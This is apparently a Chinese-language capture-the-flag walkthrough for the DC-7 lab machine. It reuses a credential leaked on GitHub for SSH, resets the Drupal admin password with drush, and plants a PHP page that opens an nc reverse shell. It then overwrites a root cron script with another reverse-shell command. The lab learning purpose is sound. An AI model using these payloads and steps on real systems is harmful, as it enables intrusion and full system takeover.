文章目录
环境版本:
- VMware pro 16
- Kali 2021.1(虚拟机)
- DC-7(虚拟机)
一、信息收集
1.主机发现
arp-scan -l
发现靶机 ip:192.168.1.126
2.端口扫描
发现其开放了 22 ssh、80 web drupal
二、漏洞扫描/利用
1.访问靶机 web 服务
DC-7介绍了一些“新”概念,但我将让您了解它们是什么。:-)
虽然这个挑战并不是所有的技术性的,如果你需要诉诸暴力或字典攻击,你可能不会成功。
你要做的是“外面”去想。
在盒子外面。:-)
得到提示,技术难度相对简单,类似解谜
发现末尾有留下名字/昵称
2.信息收集
搜索 DC7USER 发现其在 github 上有项目
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
在 config.php 发现 mysql 数据库连接 PHP 脚本,但是端口扫描时没有发现 mysql 开放端口,尝试将其账号密码进行 ssh 连接
3.ssh 连接
ssh dc7user@192.168.1.126
MdR3xOgB7#dW
登陆成功,发现提示你有一个新邮件
查看邮件内容:
cd /var/mail
dc7user@dc-7:/var/mail$ cat dc7user
From root@dc-7 Fri Apr 09 18:00:09 2021
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 09 Apr 2021 18:00:09 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1lUm3l-0000I3-E6
for root@dc-7; Fri, 09 Apr 2021 18:00:09 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1lUm3l-0000I3-E6@dc-7>
Date: Fri, 09 Apr 2021 18:00:09 +1000
rm: cannot remove '/home/dc7user/backups/*': No such file or directory
Database dump saved to /home/dc7user/backups/website.sql [success]
From root@dc-7 Fri Apr 09 18:15:06 2021
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 09 Apr 2021 18:15:06 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1lUmIE-0000J5-1Y
for root@dc-7; Fri, 09 Apr 2021 18:15:06 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1lUmIE-0000J5-1Y@dc-7>
Date: Fri, 09 Apr 2021 18:15:06 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
dc7user@dc-7:/var/mail$
发现是以 root 权限执行的计划任务:每15分钟执行一次 /opt/scripts/backups.sh
若是对该文件有写权限,则可以直接提权
4.查看文件权限
ls -l /opt/scripts/backups.sh
发现莫得权限,root、www-data 的权限都是 7,当前用户只有 rx 权限,结合开放的 80 端口尝试使用其进行弹 shell
5.查看文件内容
cat /opt/scripts/backups.sh
发现 drush,命令,尝试使用其更改 drupal 默认用户 admin 密码
cd /var/www/html/sites/default
drush user-password admin --password="passwd" #将admin用户密码更改为passwd
更改成功,登入后台尝试使用 PHP 代码执行 nc 连接
7.利用框架漏洞
进入后台 -> content -> add content -> basic page
查看文件类型,发现无法保存为 PHP,应该是没加载或安装 PHP,查看发现没有安装
8.安装 PHP 插件
在后台添加模块 PHP
进入后将如下链接填入,点击 install 下载
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
完成后启用该模块,点击 enable nwely added modules 进入新页面,找到 PHP filter 勾选,滑到最后点击 install
成功加载
9.使用 PHP 模块进行 nc 连接
1)攻击机监听
nc -lvvp 1234
2)靶机 nc 弹shell
在 content -> addcontent -> basic page 中构造 shell php 页面
<?php system("nc -e /bin/sh 192.168.1.123 1234"); ?>
点击 preview 预览即可执行 nc 连接
得到 shell:
10.漏洞利用
1)攻击机 nc 监听
nc -lvvp 9999
2)更改计划执行任务内容
cd /opt/scripts
echo "nc -e /bin/sh 192.168.1.123 9999" >backups.sh
cat backups.sh
因为 15 分钟执行一次,等待 15 分钟
若是咱们自己手动执行则会以手动执行的权限弹 shell
11.查看计划任务间隔
发现其为每 15 分钟执行一次
总结:
- 结合了社工
- 框架漏洞/利用相当危险
- 计划任务权限要谨慎对待